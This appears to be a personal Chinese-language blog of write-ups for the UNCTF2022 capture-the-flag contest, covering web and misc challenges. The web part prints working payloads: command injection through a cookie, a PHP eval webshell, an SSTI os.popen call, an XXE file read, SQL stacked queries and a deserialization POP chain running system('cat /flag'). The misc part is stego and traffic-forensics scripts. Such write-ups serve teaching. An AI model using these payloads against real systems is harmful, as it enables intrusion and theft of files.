UNCTF做题记录

First Post:

Last Update:

Word Count:
7.6k

Read Time:
39 min

UNCTF做题记录

UNCTF2022的做题记录以及赛后复现,本次比赛的题目质量挺好的,很符合我对CTF的想象,有趣并带着坐牢

总结写到前面:UNCTF的题目质量挺高的,但是因为这几天忙着考试,比赛 根本没多少时间打,没有时间进前20拿到奖品属实算是莫大的遗憾,但还是学到不少东西

——“当你完成某事总是‘差一点’时,你需要的就是‘差一点’的那个经验”

比赛平台暂时没办法新建容器,凭记忆复现一下吧

[TOC]

WEB

签到

点进去发现是个登录框,F12看到学号密码,根据学号点击发现登录成功

错误思路:

以为是POST类型的SQL盲注,打了一年换用各种payload都不行,遂放弃

正确思路:

将学号+1,输入后发现出来了回显"f",这就是flag,在burp里逐步累加爆破即可

BILIBILI大学

进去就是phpinfo,Ctrl F 直接搜到flag,在环境变量里

BILIBILI大学修复版

flag被修复,在phpinfo里搜索hint发现一个YWRtaW5fdW5jdGYucGhw,base64解码后是admin_unctf.php

访问后发现是一个登录界面,在请求中抓包可以看见hint_2:dW5jdGYyMDIyL3VuY3RmMjAyMg==,解码后是unctf2022/unctf2022即账号密码

登录之后之后界面给了源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){
exit("username or password is empty");
}else{
if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){
show_source(__FILE__);
@system("ping ".$_COOKIE['cmd']);
}else{
exit("username or password error");
}
}

一眼命令注入,抓包,在请求包里加上

1
Cookie: cmd=114.114.114.114|cat /flag

得到base64编码,解码后是一个B站小号的主页,个人简介那里得到flag

ezgame

点进去发现是个游戏,想都不想直接开始扒源码,在main.js里发现

1
2
3
4
5
6
7
8
9
10
this.rCanv.addEventListener('animationend', (() =>{
this.isDead = this.rStats.life <= 0,
//这里是判断胜利的代码
this.isDead ? (function(){function _0x1a71(_0x576391,_0x47cdf6){var _0x33c239=_0x3005();return _0x1a71=function(_0x18fbb7,_0x4f7b9f){_0x18fbb7=_0x18fbb7-(-0x40*0x85+-0x9dc*0x3+0x658*0xa);var _0x5a7e37=_0x33c239[_0x18fbb7];return _0x5a7e37;},_0x1a71(_0x576391,_0x47cdf6);}function _0x3005(){var _0x313bce=['86VkibmA','fe7b163f8d','6833565vBFVDj','23742ODGjjF','unctf{c5f9','d3}','1335DfKYdi','6442920PCnqhb','781140poNcpx','a27d-6f88-','795305dViflS','1569524rbiRmt','49fb-a510-','88IpXszc','13033ieCwIU','6GgaKPA'];_0x3005=function(){return _0x313bce;};return _0x3005();}var _0x57214f=_0x1a71;(function(_0x5f4f7e,_0x564c49){var _0x5561c3=_0x1a71,_0x56ec78=_0x5f4f7e();while(!![]){try{var _0xe4411f=-parseInt(_0x5561c3(0xa5))/(-0x2369+-0x618*0x4+0x3bca)*(parseInt(_0x5561c3(0xa7))/(0xac1+-0x3*0x881+-0x1*-0xec4))+parseInt(_0x5561c3(0xa6))/(0x24c5+0x783+-0x2c45)*(parseInt(_0x5561c3(0xa2))/(-0xe2e+-0x1c7d+0x2aaf))+-parseInt(_0x5561c3(0x9d))/(-0x1870+-0x1*-0x1dbd+-0x548)*(-parseInt(_0x5561c3(0xaa))/(-0x9*-0x287+0x5*-0x165+-0x2a0*0x6))+-parseInt(_0x5561c3(0xa1))/(0x4*0x9a3+-0x7*0x1d2+-0x19c7)+parseInt(_0x5561c3(0x9e))/(-0x27b+-0x206*-0x6+-0x9a1)+-parseInt(_0x5561c3(0xa9))/(0x66b+0xa39+-0x109b*0x1)+parseInt(_0x5561c3(0x9f))/(-0x8ba+0x1f1*0x10+0xb26*-0x2)*(-parseInt(_0x5561c3(0xa4))/(0x2548+0x1e3+-0x2720));if(_0xe4411f===_0x564c49)break;else _0x56ec78['push'](_0x56ec78['shift']());}catch(_0x1ed64e){_0x56ec78['push'](_0x56ec78['shift']());}}}(_0x3005,-0x909e0+0x62296*0x2+0x5bf33),alert(_0x57214f(0xab)+_0x57214f(0xa0)+_0x57214f(0xa3)+_0x57214f(0xa8)+_0x57214f(0x9c)));})() : "",
this.isDead ? this.reaperCont.innerHTML = '' : (this.rCanv.style.animation = 'reaperAnim 6s infinite ease-in-out', this.draw())
})),


//需要执行的部分
function _0x1a71(_0x576391,_0x47cdf6){var _0x33c239=_0x3005();return _0x1a71=function(_0x18fbb7,_0x4f7b9f){_0x18fbb7=_0x18fbb7-(-0x40*0x85+-0x9dc*0x3+0x658*0xa);var _0x5a7e37=_0x33c239[_0x18fbb7];return _0x5a7e37;},_0x1a71(_0x576391,_0x47cdf6);}function _0x3005(){var _0x313bce=['86VkibmA','fe7b163f8d','6833565vBFVDj','23742ODGjjF','unctf{c5f9','d3}','1335DfKYdi','6442920PCnqhb','781140poNcpx','a27d-6f88-','795305dViflS','1569524rbiRmt','49fb-a510-','88IpXszc','13033ieCwIU','6GgaKPA'];_0x3005=function(){return _0x313bce;};return _0x3005();}var _0x57214f=_0x1a71;(function(_0x5f4f7e,_0x564c49){var _0x5561c3=_0x1a71,_0x56ec78=_0x5f4f7e();while(!![]){try{var _0xe4411f=-parseInt(_0x5561c3(0xa5))/(-0x2369+-0x618*0x4+0x3bca)*(parseInt(_0x5561c3(0xa7))/(0xac1+-0x3*0x881+-0x1*-0xec4))+parseInt(_0x5561c3(0xa6))/(0x24c5+0x783+-0x2c45)*(parseInt(_0x5561c3(0xa2))/(-0xe2e+-0x1c7d+0x2aaf))+-parseInt(_0x5561c3(0x9d))/(-0x1870+-0x1*-0x1dbd+-0x548)*(-parseInt(_0x5561c3(0xaa))/(-0x9*-0x287+0x5*-0x165+-0x2a0*0x6))+-parseInt(_0x5561c3(0xa1))/(0x4*0x9a3+-0x7*0x1d2+-0x19c7)+parseInt(_0x5561c3(0x9e))/(-0x27b+-0x206*-0x6+-0x9a1)+-parseInt(_0x5561c3(0xa9))/(0x66b+0xa39+-0x109b*0x1)+parseInt(_0x5561c3(0x9f))/(-0x8ba+0x1f1*0x10+0xb26*-0x2)*(-parseInt(_0x5561c3(0xa4))/(0x2548+0x1e3+-0x2720));if(_0xe4411f===_0x564c49)break;else _0x56ec78['push'](_0x56ec78['shift']());}catch(_0x1ed64e){_0x56ec78['push'](_0x56ec78['shift']());}}}(_0x3005,-0x909e0+0x62296*0x2+0x5bf33),alert(_0x57214f(0xab)+_0x57214f(0xa0)+_0x57214f(0xa3)+_0x57214f(0xa8)+_0x57214f(0x9c)));

直接控制台执行,弹出flag

babyPHP

打开后是服务器欢迎界面,稍有常识都知道要访问index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
if($_POST["a"]==0&&$_POST["a"]!==0){
if(isset($_POST["key1"])&isset($_POST["key2"])){
$key1=$_POST["key1"];
$key2=$_POST["key2"];
if ($key1!==$key2&&sha1($key1)==sha1($key2)){
if (isset($_GET["code"])){
$code=$_GET["code"];
if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
eval($code);
}else{
echo "有手就行</br>";
}
}else{
echo "老套路了</br>";
}
}else{
echo "很简单的,很快就拿flag了~_~</br>";
}
}else{
echo "百度就能搜到的东西</br>";
}
}else{
echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
}
}

很经典的弱类型绕过,直接贴payload吧

蚁剑链接,密码 x

1
2
/index.php?code=eval($_POST[x]);
post传参:a=0a&key1[]=1&key2[]=2

在根目录下有flag.txt

easy_upload

打开之后是一个经典文件上传,对上传文件有过滤

错误操作:

在上传时把文件格式改成jpeg 了,结果虽然能上传成功,但是不会被解析执行,上传的pthml也不行,看到有个“文件临时储存在/tmp/xxxxxx”,还以为是条件竞争,最后还是我想多了

正确操作:直接传个shell.php,改成Content-type: image/png,蚁剑直接连接,找半天在/home/ctf/flag下面有flag

顺便在网站目录下发现了index.php还有网站备份啥的,没用上

给你一刀

一看是thinkPHP框架,直接上工具一把梭,众所周知在渗透测试中测试RCE常用的就是phpinfo,所以在phpinfo里面可以直接搜到flag

302与深大

302跳转,burp慢慢抓包放包可以操作,按照要求传参就行,最后注意的有个“Cookie伪造”是设置admin=true

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?miku=puppy HTTP/1.1
Host: cb5adaa6-398a-4a8e-802a-cd806681db0b.node.yuzhian.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Cookie:admin=true;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

micgo=ikun

相应的是flag的前半部分和phpinfo,可以找到flag的后半部分

easy ssti

登录界面随便输入一个账号就能登录,经测试可以看到这里存在ssti

用常规的payload去打,发现class被过滤了,使用拼接'__cla'+'ss__'绕过即可

1
{{config['__cl'+'ass__']['__init__']['__globals__']['os']['popen']('printenv').read()}}

还有不使用class的payload

1
{{request.application.__globals__.__builtins__.__import__('os').popen('printenv').read()}} 

但是出题人告诉你flag在flag.txt,而flag实际上在环境变量里,令人感叹

使用printenv函数即可

PHP的xxe

最基础的xxe,直接对dom.php post 数据即可

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<test>
<name>&xxe;</name>
</test>

随便注

魔改的是强网杯那道注入题,但是FLAG_COLUMN和FLAG_TABLE和使用的id表不在一个数据库下

可以用sqlmap一把梭,但是犯了一个错误没有拿到flag:

在所有的数据库里选择了ctftraining.FLAG_TABLE.FLAG_COLUMN,但是在从FLAG_COLUMN拖取数据的时候,得到的数据为空,之前在打国赛的时候,有一道注入题也是这个情况,sqlmap跑不出数据,换用自己的盲注脚本去得到数据,便以为这题也是这个情况,于是针对这题便使用了包括但不限于盲注,报错注入,重命名表的各种操作,都没有结果

1
1'; alter table admin.haha rename to admin.haha1;alter table ctftraining.FLAG_TABLE rename to admin.haha;alter table admin.haha change FLAG_COLUMN id varchar(128);# 

后来复现的时候才知道直接读取文件 /flag就行了😅

babynode

基础的原型链污染

1
{"__proto__":{"id":"unctf"}}

ezunseri

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
highlight_file(__FILE__);
error_reporting(0);

class Exec
{
public $content;

public function execute($var){
eval($this->content);
}

public function __get($name){

echo $this->content;

}

public function __invoke(){
$content = $this->execute($this->content);
}

public function __wakeup()
{
$this->content = "";
die("1!5!");
}

}


class Test
{
public $test;
public $key;

public function __construct(){

$this->test = "test123";
}

public function __toString(){
$name = $this->test;
$name();
}

}

class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;

public function __construct($name="UNCTF"){

$this->name = $name;
}

public function show(){

echo $this->name.$this->code;
}

public function __destruct(){

if($this->code = '3.1415926'){
return $this->key->name;
}
}

}


if(isset($_GET['pop'])){

$a = unserialize($_GET[pop]);
}else{

$a = new Login();
$a->show();
}

利用

1
Login->__destruct => Exec->__get => Test.__toString => Exec->__invoke => Exec->execute => eval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Exec
{
public $content;
}


class Test
{
public $test;
public $key;

}

class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;
}


$login=new Login();
$login->code = '3.1415926';
$login->key = new Exec();
$login->key->content = new Test();
$login->key->content->test=new Exec();
$login->key->content->test->content='system("cat /flag");';


$payload = urlencode(serialize($login));

之后payload里替换参数个数绕过wakeup

以下是没写出来的题目,再等靶场修复之后复现

poppop

反序列化构造pop链

easy_rce

命令注入的盲注,倒是第一次见,过滤了很多,但是还能读取,之后用cut -c结合盲注去判断

ez2048

先在JS里面找出来邀请码的计算函数

MISC

magic_word

把word文档后缀改成zip,拿document.xml里面的内容去零宽网站解密即可

找得到我吗

word改成zip,在document.xml里面可以搜到flag

syslog

直接搜索password,解开base64就是压缩包密码

社什么社

把记事本字体调成华文琥珀粗斜体,然后缩放到最小,可以看清是一个湖中倒影

结合出题人在湖南,可以轻松的猜出来地点是 凤凰古城,MD5后就是flag

In_the_Morse_Garden

文字颜色被设置为了白色,全选即可复制出来

1
UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm +WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5 46b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlO WPpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k 5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOeOm +WNoeW3tOWNoeeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg546b5Y2h5be05Y 2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3 lj6Tmr5Tlj6Tkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg54 6b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+kIOS+neWPpOavlOW PpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg5L6d5Y+k5q+U5Y +k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6Tnjpvlja Hlt7TljaEg5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWN oSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7T ljaE=}

按照图片解一下中间部分(Base64,替换,摩斯)即可

巨鱼

打开压缩包是一个图片,用010打开可以看到后面明显的压缩包,使用foremost分离即可

同时修改图片的高度,可以看见下面藏着一个无所谓我会出手,这个便是压缩包的密码

解开之后有个flag.txt是假的,flagisnothere.zip是伪加密,修改成00就可以解密

里面有一个pass.png和一个加密的ppt

这个外号666,而666就是ppt的密码,修改ppt为未加密模式,后缀改成zip解压

最后在slide5.xml里面找到flag

zhiyin

zhiyin.png的文件结尾有段摩斯密码,解出来_UNC7F!!!

lanqiu.jpg是字节反转的jpg文件,用脚本转回来

1
f = open('C:\\Users\\LiangMaxwell\\Downloads\\zhiyin\\lanqiu.jpg','wb').write(open("C:\\Users\\LiangMaxwell\\Downloads\\zhiyin\\qiulan.jpg",'rb').read()[::-1])

拼凑起来密码,然而出题人手写的密码不知道是什么,只能凭感觉生成,并且用ARCHPR进行大小写爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Go-play_UNC7F!!!
Go-pLay_UNC7F!!!
Go-p1ay_UNC7F!!!
Go-p7ay_UNC7F!!!
Go_play_UNC7F!!!
Go_pLay_UNC7F!!!
Go_p1ay_UNC7F!!!
Go_p7ay_UNC7F!!!
GO-play_UNC7F!!!
GO-pLay_UNC7F!!!
GO-p1ay_UNC7F!!!
GO-p7ay_UNC7F!!!
GO_play_UNC7F!!!
GO_pLay_UNC7F!!!
GO_p1ay_UNC7F!!!
GO_p7ay_UNC7F!!!
G0-play_UNC7F!!!
G0-pLay_UNC7F!!!
G0-p1ay_UNC7F!!!
G0-p7ay_UNC7F!!!
G0_play_UNC7F!!!
G0_pLay_UNC7F!!!
G0_p1ay_UNC7F!!!
G0_p7ay_UNC7F!!!

最后密码是Go_p1ay_unc7f!!!令人感叹,解开压缩包拿到flag

清和fan

首先是搜索B站UID和视频日期得到836885_2022/05/20压缩密码(还好之前关注过她)

然后得到的图片存在lsb隐写,得到密码password is :qq857488580

解出来的音频一眼sstv

得到密码V@mpir3,解开压缩包得到一段文字,一眼零宽,拿上面的网站得到flag

1
unctf{wha1e_wants_a_girlfriend_like_alicia}

芝麻开门

图片用stegsolve看到存在明显的lsb,而且是带密码的

开头给的key是假的,拉到最下面能看到a2V5MQ==,base64解得key1

1
python2 lsb.py extract flag.png 1.txt key1

得到flag{faf5bdd5-ba3d-11da-ad31-d33d75182f1b}

剥茧抽丝

评价是一坨屎

第一层 看到压缩包的注释里写个S?e?a?o?r?p?y,很标准的掩码格式,但是在掩码模式试了一蹦子发现啥也不是,解压密码就是S?e?a?o?r?p?y😅

第二层1.txt明显有零宽,但是通过复制粘贴得到的密码明显不全,便用网站下面的文件解密,能密码PAsS_w0rD

但是这个密码并不能解开这一层压缩包,压缩包之后发现里面有个2.txt和一个压缩包,把1.txt去掉零宽之后的字符保存为2.txt,用bandizip压缩后发现CRC值与2.txt的相同,竟然是明文攻击……

用ARCHPR攻击一会就能解开,不需要恢复出明文密码,而最里面的压缩包需要的密码就是刚刚得到的PAsS_w0rD

我小心海也绝非鳝类

我超OP

用stegsolve看到存在LSB,而且文件末尾有段RUFTWUxTQg==,base64得到EASYLSB

便猜测是带密码的LSB隐写,对F#S<YIcHnAG;进行base92解码,可以得到flaginmd5

1
python2 lsb.py extract flag.png 1.txt flaginmd5

长度为672,正好能被32整除,便猜测是一堆md5值拼起来的,用之前的md5-1题目的脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from hashlib import md5
hashlist=[
"8FA14CDD754F91CC6554C9E71929CCE7",
"2DB95E8E1A9267B7A1188556B2013B33",
"0CC175B9C0F1B6A831C399E269772661",
"B2F5FF47436671B6E533D8DC3614845D",
"F95B70FDC3088560732A5AC135644506",
"F1290186A5D0B1CEAB27F4E77C0C5D68",
"E1671797C52E15F763380B45E841EC32",
"2DB95E8E1A9267B7A1188556B2013B33",
"4A8A08F09D37B73795649038408B5F33",
"D95679752134A2D9EB61DBD7B91C4BCC",
"6F8F57715090DA2632453988D9A1501B",
"E1671797C52E15F763380B45E841EC32",
"B14A7B8059D9C055954C92674CE60032",
"E358EFA489F58062F10DD7316B65649E",
"D95679752134A2D9EB61DBD7B91C4BCC",
"B14A7B8059D9C055954C92674CE60032",
"6F8F57715090DA2632453988D9A1501B",
"865C0C0B4AB0E063E5CAA3387C1A8741",
"03C7C0ACE395D80182DB07AE2C30F034",
"4A8A08F09D37B73795649038408B5F33",
"CBB184DD8E05C9709E5DCAEDAA0495CF"
]
dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789}{"
flag =""
for i in hashlist:
print(i)
for x in dic:
if md5(x.encode()).hexdigest() == i.lower():
# print(x)

flag += x

print(flag) #flag{welcometomisc}

MY PICTURE

解压之后是一个没后缀的zip,再次解压之后得到一个dat文件和一个flag.png

dat文件打开后发现很多的8E字节,便猜测是异或了8E,再次异或回来后得到一个压缩包

解压后得到加密时使用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image as im

flag = im.open('flag.jpg','r')
l,h=flag.size
puzzle=im.new('RGB',(h,l))
print(puzzle)
for i in range(l):
for j in range(h):
r,g,b=flag.getpixel((i,j))
r=r^g
g=g^b
b=b^r
puzzle.putpixel(((i*787+j)//1200,(i*787+j)%1200),(b,g,r))
puzzle.save('flag.png')
flag.close()
puzzle.close()

逆着改出来解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image as im

flag = im.open('C:\\Users\\LiangMaxwell\\Downloads\\Picture\\flag.png','r')
l,h=flag.size
ans=im.new('RGB',(h,l))
for i in range(l):
for j in range(h):
r,g,b=flag.getpixel((i,j))
b = b ^ r
g = g ^ b
r = r ^ g
ans.putpixel(((i*1200+j)//787,(i*1200+j)%787),(b,g,r))
ans.save('C:\\Users\\LiangMaxwell\\Downloads\\Picture\\realflag.png')

可以看到flag在图片里

CatchJerry

根据题目描述,流量里包含了鼠标和键盘的流量

使用tshark分离出usb流量

我这里原来没有分离出鼠标流量,原因是wireshark版本问题,令人感叹

1
tshark.exe -r .\CatchJerry.pcapng -T fields -e usbhid.data > usbdata.txt

首先分析鼠标流量,通过下面这个脚本分析出鼠标流量的坐标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from textwrap import wrap

def convert_to_signed_char(c):
if c > 127:
return (256-c) * (-1)
else:
return c

# Transform to actual data lines
data_lines = (wrap(line.strip(), 2) for line in open("out.txt").readlines())
data_packets = []
for l in data_lines:
data_packets.append([convert_to_signed_char(int(a, 16)) for a in l])

# Remove trailing data
# data_packets = data_packets[:-1400]

# Write to file
with open("plot.txt", "w") as f:
x = 0
y = 0
for packet in data_packets:
try:
x += packet[1] * 20 # Scale-up X-axis
y -= packet[2] # Invert Y-axis
if packet[0] == 1:
f.write(f"{x} {y}\n")
except:
pass

然后使用gnuplot绘图,如图所示

接着分析键盘流量,由于新版本的usbdata.txt没有冒号了,只能使用网上找的套神的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

nums = []
keys = open('usbdata.txt')
for line in keys:
if len(line) != 17:
continue
nums.append(line[0:2] + line[4:6])
keys.close()
output = ""
for n in nums:
if n[2:4] == "00":
continue

if n[2:4] in normalKeys:
if n[0:2] == "02":
output += shiftKeys[n[2:4]]
else:
output += normalKeys[n[2:4]]
else:
output += ''
print('output :' + output)

输出结果output :<DEL><RET>andbest

故得到flag: UNCTF{TOM_AND_JERRY_BEST_FRIENDS}

贝斯家族的侵略

第一层是很明显的明文攻击,用hint那个图片作为明文

得到的flag.txt,一眼base64隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import binascii
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res


def solve_stego():
with open('C:\\Users\\LiangMaxwell\\Downloads\\src\\flag.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
# print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2

# print bin_str

return bin_str
# print goflag(bin_str)


def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))

return res_str

if __name__ == '__main__':
bins = solve_stego()
x = goflag(bins)
print x


得到了一大串数字,但是根据开头的几个字节,可以确定隐写的是一个mrf鼠标宏文件,将隐写的结果保存为一个文件falg.mrf即可,然后使用软件播放鼠标宏得到flag

峰回路转

根据压缩包里面的两个短文件,可以确定是CRC32爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
import binascii
import string
from time import sleep


def is_number(s):
try:
float(s)
return True
except ValueError:
pass

try:
import unicodedata
unicodedata.numeric(s)
return True
except (TypeError, ValueError):
pass

return False


# 进度条
def progress(percent=0, width=40):
left = width * percent // 95
right = width - left
print('\r[', '#' * left, ' ' * right, ']', f' {percent:.0f}%', sep='', end='', flush=True)


# 一位字节
def crc1(strs, dic):
strs = hex(int(strs, 16))
rs = ''
for i in dic:
s = i
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print(strs + ' : ' + s)
return rs


# 两位字节
def crc2(strs, dic):
strs = hex(int(strs, 16))
rs = ''
for i in dic:
for j in dic:
s = i + j
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print(strs + ' : ' + s)
return rs


# 三位字节
def crc3(strs, dic):
strs = hex(int(strs, 16))
rs = ''
for i in dic:
for j in dic:
for k in dic:
s = i + j + k
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print(strs + ' : ' + s)
return rs


# 四位字节
def crc4(strs, dic):
strs = hex(int(strs, 16))
rs = ''
it = 1
for i in dic:
for j in dic:
for k in dic:
for m in dic:
s = i + j + k + m
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print()
print(strs + ' : ' + s)
print('\n')
progress(it)
sleep(0.1)
it += 1
return rs


# 五位字节
def crc5(strs, dic):
strs = hex(int(strs, 16))
rs = ''
it = 1
for i in dic:
progress(it)
for j in dic:
for k in dic:
for m in dic:
for n in dic:
s = i + j + k + m + n
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print()
print(strs + ' : ' + s)
print('\n')
sleep(0.1)
it += 1
return rs


# 计算碰撞 crc
def CrackCrc(crclist, length):
print()
print("正在计算...")
print()
dic = ''' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~''' # 碰撞需要的字符字典
dic = dic[::-1]
text = ''
for i in crclist:
if length == '1':
text += crc1(i, dic)
if length == '2':
text += crc2(i, dic)
if length == '3':
text += crc3(i, dic)
if length == '4':
text += crc4(i, dic)
if length == '5':
text += crc5(i, dic)
print('\n')
if text == '':
print("碰撞失败,无结果")
exit()
print("字符顺序组合:", end=' ')
print()
print(text)
print()
input("回车确认结束程序...")


# 主函数
print('''
##############################

###### Author:spaceman ######

### Thank you for your use ###

##############################
''')
listcrc = [] # 用于存储crc值
length = (input("请输入文本字节大小(1-5):")) # 即文本内容大小,如文本内容为flag,大小即为4
if is_number(length) == False or length not in ("1,2,3,4,5"):
exit("非指定数字,退出")
print()
while 1:
crc = input('请输入crc值(例如:d1f4eb9a,输入n完成输入):')
if crc == 'n':
break
crc = '0x' + crc
if len(crc) != 10:
print("rcr长度不对,请重新输入")
continue
listcrc.append(crc)

CrackCrc(listcrc, length)

爆破出来P@SsW0RD 但是只能解压出来flag.bmp

根据hint,使用带密码的silenteye

